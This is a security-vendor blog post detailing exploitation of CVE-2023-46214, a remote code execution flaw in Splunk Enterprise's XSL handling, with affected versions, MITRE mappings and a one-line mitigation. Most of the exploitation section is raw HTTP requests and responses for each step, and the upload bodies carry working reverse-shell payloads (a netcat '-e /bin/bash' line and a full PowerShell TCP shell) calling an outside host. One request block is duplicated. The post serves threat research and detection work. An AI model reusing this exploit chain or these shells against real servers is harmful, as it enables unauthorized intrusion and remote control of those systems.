Authored by Trenton Tait
Threat Researcher at SnapAttack
Table of Contents:
Overview of CVE-2023-46214
Vulnerable Versions
Product | Version | Component | Affected Version | Fix Version |
Splunk Enterprise | 9.0 | Splunk Web | 9.0.0 to 9.0.6 | 9.0.7 |
Splunk Enterprise | 9.1 | Splunk Web | 9.1.0 to 9.1.1 | 9.1.2 |
Splunk Cloud | – | Splunk Web | Versions < 9.1.2308 | 9.1.2308 |
Vulnerable Versions
- Splunk Enterprise:
- Version: 9.0
- Component: Splunk Web
- Affected Version: 9.0.0 to 9.0.6
- Fix Version: 9.0.7
- Splunk Enterprise:
- Version: 9.1
- Component: Splunk Web
- Affected Version: 9.1.0 to 9.1.1
- Fix Version: 9.1.2
- Splunk Cloud:
- Version: N/A
- Component: Splunk Web
- Affected Version: Versions < 9.1.2308
- Fix Version: 9.1.2308
Exploitation
The vulnerability consists of three primary steps: Upload a malicious XLS file via the adddatamethod endpoint, triggering the insecure XSL transformation via the getJobAsset function, and finally execute a Splunk command to trigger remote command execution.
Upload malicious XSL file
This can be accomplished via the adddatamethod endpoint where a user can upload a file. After uploading the file, the server responds with a unique ID. This ID corresponds to a directory in the dispatch directory where the file exists. The file uploaded here is the malicious XSL containing the XSL Extension (EXSL) namespace. The location and command used in the XSL depends on the target operating system.
Example Linux XSL
POST /en-US/splunkd/__upload/indexing/preview?output_mode=json&props.NO_BINARY_CHECK=1&input.path=shell.xsl HTTP/1.1
Host: 10.0.254.161
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: text/javascript, text/html, application/xml, text/xml, */*
Connection: keep-alive
X-Requested-With: XMLHttpRequest
X-Splunk-Form-Key: 14482185398394202733
Cookie: splunkd_8000=_x84zWyIz1VMDPEFkDBTHzA2eYV01nuBkUPK2kd6WAdaoTPRQ6B8scbDnUXFyobqTddjOqZWECPkcOCoS7q7KNv7W8NV0M6JHmUq8zZihi^r5cT125bd8lMbQ43oyFiOqn63bF; splunkweb_csrf_token_8000=14482185398394202733; session_id_8000=364de2f844a6f18092c2efdab2fcd0ee95ee0e67
Content-Length: 596
Content-Type: multipart/form-data; boundary=9960c54fb10ce9805f8997ed5571da91
--9960c54fb10ce9805f8997ed5571da91
Content-Disposition: form-data; name="spl-file"; filename="shell.xsl"
Content-Type: application/xslt+xml
nc 10.0.254.196 4444 -e /bin/bash
--9960c54fb10ce9805f8997ed5571da91--
Example Windows XSL
POST /en-US/splunkd/__upload/indexing/preview?output_mode=json&props.NO_BINARY_CHECK=1&input.path=shell.xsl HTTP/1.1
Host: 10.0.254.155
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: text/javascript, text/html, application/xml, text/xml, */*
Connection: keep-alive
X-Requested-With: XMLHttpRequest
X-Splunk-Form-Key: 14482185398394202733
Cookie: splunkd_8000=_x84zWyIz1VMDPEFkDBTHzA2eYV01nuBkUPK2kd6WAdaoTPRQ6B8scbDnUXFyobqTddjOqZWECPkcOCoS7q7KNv7W8NV0M6JHmUq8zZihi^r5cT125bd8lMbQ43oyFiOqn63bF; splunkweb_csrf_token_8000=14482185398394202733; session_id_8000=364de2f844a6f18092c2efdab2fcd0ee95ee0e67
Content-Length: 596
Content-Type: multipart/form-data; boundary=9960c54fb10ce9805f8997ed5571da91
--9960c54fb10ce9805f8997ed5571da91
Content-Disposition: form-data; name="spl-file"; filename="shell.xsl"
Content-Type: application/xslt+xml
powershell -c $client = New-Object System.Net.Sockets.TCPClient(‘{ip}’,{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
--9960c54fb10ce9805f8997ed5571da91--
Retrieve the job ID
POST /en-US/splunkd/__raw/servicesNS/snapattack/search/search/jobs?output_mode=json HTTP/1.1
Host: 10.0.254.161
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
X-Requested-With: XMLHttpRequest
X-Splunk-Form-Key: 14482185398394202733
Cookie: splunkd_8000=_x84zWyIz1VMDPEFkDBTHzA2eYV01nuBkUPK2kd6WAdaoTPRQ6B8scbDnUXFyobqTddjOqZWECPkcOCoS7q7KNv7W8NV0M6JHmUq8zZihi^r5cT125bd8lMbQ43oyFiOqn63bF; splunkweb_csrf_token_8000=14482185398394202733; session_id_8000=364de2f844a6f18092c2efdab2fcd0ee95ee0e67
Content-Length: 30
Content-Type: application/x-www-form-urlencoded
search=%7Csearch+test%7Chead+1
HTTP/1.1 201 Created
Date: Mon, 11 Dec 2023 18:13:44 GMT
Expires: Thu, 26 Oct 1978 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Content-Type: application/json; charset=UTF-8
X-Content-Type-Options: nosniff
Link: <1702318424.15>; rel=info
Content-Length: 23
Location: /servicesNS/snapattack/search/search/jobs/1702318424.15
Vary: Cookie
Connection: Keep-Alive
Set-Cookie: splunkd_8000=_x84zWyIz1VMDPEFkDBTHzA2eYV01nuBkUPK2kd6WAdaoTPRQ6B8scbDnUXFyobqTddjOqZWECPkcOCoS7q7KNv7W8NV0M6JHmUq8zZihi^r5cT125bd8lMbQ43oyFiOqn63bF; Path=/; HttpOnly; Max-Age=3600; Expires=Mon, 11 Dec 2023 19:13:44 GMT
Set-Cookie: splunkweb_csrf_token_8000=14482185398394202733; Path=/; Max-Age=157680000; Expires=Sat, 09 Dec 2028 18:13:44 GMT
X-Frame-Options: SAMEORIGIN
Server: Splunkd
{"sid":"1702318424.15"}
Retrieve the job ID
POST /en-US/splunkd/__raw/servicesNS/snapattack/search/search/jobs?output_mode=json HTTP/1.1
Host: 10.0.254.161
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
X-Requested-With: XMLHttpRequest
X-Splunk-Form-Key: 14482185398394202733
Cookie: splunkd_8000=_x84zWyIz1VMDPEFkDBTHzA2eYV01nuBkUPK2kd6WAdaoTPRQ6B8scbDnUXFyobqTddjOqZWECPkcOCoS7q7KNv7W8NV0M6JHmUq8zZihi^r5cT125bd8lMbQ43oyFiOqn63bF; splunkweb_csrf_token_8000=14482185398394202733; session_id_8000=364de2f844a6f18092c2efdab2fcd0ee95ee0e67
Content-Length: 30
Content-Type: application/x-www-form-urlencoded
search=%7Csearch+test%7Chead+1
HTTP/1.1 201 Created
Date: Mon, 11 Dec 2023 18:13:44 GMT
Expires: Thu, 26 Oct 1978 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Content-Type: application/json; charset=UTF-8
X-Content-Type-Options: nosniff
Link: <1702318424.15>; rel=info
Content-Length: 23
Location: /servicesNS/snapattack/search/search/jobs/1702318424.15
Vary: Cookie
Connection: Keep-Alive
Set-Cookie: splunkd_8000=_x84zWyIz1VMDPEFkDBTHzA2eYV01nuBkUPK2kd6WAdaoTPRQ6B8scbDnUXFyobqTddjOqZWECPkcOCoS7q7KNv7W8NV0M6JHmUq8zZihi^r5cT125bd8lMbQ43oyFiOqn63bF; Path=/; HttpOnly; Max-Age=3600; Expires=Mon, 11 Dec 2023 19:13:44 GMT
Set-Cookie: splunkweb_csrf_token_8000=14482185398394202733; Path=/; Max-Age=157680000; Expires=Sat, 09 Dec 2028 18:13:44 GMT
X-Frame-Options: SAMEORIGIN
Server: Splunkd
{"sid":"1702318424.15"}
File location on disk
Linux - /opt/splunk/var/run/splunk/dispatch/1702318424.15/exploit.xsl
Windows - C:\\Program Files\\Splunk\\var\\run\\splunk\\dispatch\1702318424.15\exploit.xsl
Trigger insecure XSL transformation via getJobAsset function
Next is to trigger the transform using the jobs endpoints and pass the uploaded XSL file. This will execute the XSL file writing the XSL text to the specified location. In this case it creates a shell script in /opt/splunk/bin/scripts/. Note the ID returned from the earlier request is used here.
Example
GET /en-US/api/search/jobs/1702318424.15/results?xsl=/opt/splunk/var/run/splunk/dispatch/1702318424.15/shell.xsl HTTP/1.1
Host: 10.0.254.161
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Cookie: splunkd_8000=_x84zWyIz1VMDPEFkDBTHzA2eYV01nuBkUPK2kd6WAdaoTPRQ6B8scbDnUXFyobqTddjOqZWECPkcOCoS7q7KNv7W8NV0M6JHmUq8zZihi^r5cT125bd8lMbQ43oyFiOqn63bF; splunkweb_csrf_token_8000=14482185398394202733; session_id_8000=364de2f844a6f18092c2efdab2fcd0ee95ee0e67
Execute SPL command runshellscript to trigger rce
| runshellscript "shell.sh" "" "" "" "" "" "" "" "1702318424.15" ""
- Valid credentials to access the job endpoint
- enableSearchJobXslt must be True in splunk config (True by default)
- X-Splunk-Module header needs to be set
- XSL file extension must end with .xsl or .xslt
- XSL file path must start with $SPLUNK_HOME
MITRE
T1220 – XSL Script Processing
Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files.
T1102 – Web Service
Adversaries may use an existing, legitimate external Web service as a means to relay data to/from a compromised system.
T1190 – Exploit Public-Facing Application
Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network.
T1505.003 – Server Software Component: Web Shell
Adversaries may backdoor web servers with web shells to establish persistent access to systems.
T1105 – Ingress Tool Transfer
Adversaries may transfer tools or other files from an external system into a compromised environment.
Mitigations
[settings]
enableSearchJobXslt = false
Conclusion
SnapAttack is the threat hunting, detection engineering, and detection validation platform for proactive threat-informed defense. Register for a FREE community account to access the content included in this blog post, as well as thousands of other community detections. Subscribers also get advanced features like a no-code detection builder, one-click deployments to leading SIEMs and EDRs like Chronicle, Sentinel, Splunk, CrowdStrike and SentinelOne, advanced threat profiles to prioritize relevant threats, and customized reports that track MITRE ATT&CK coverage and more!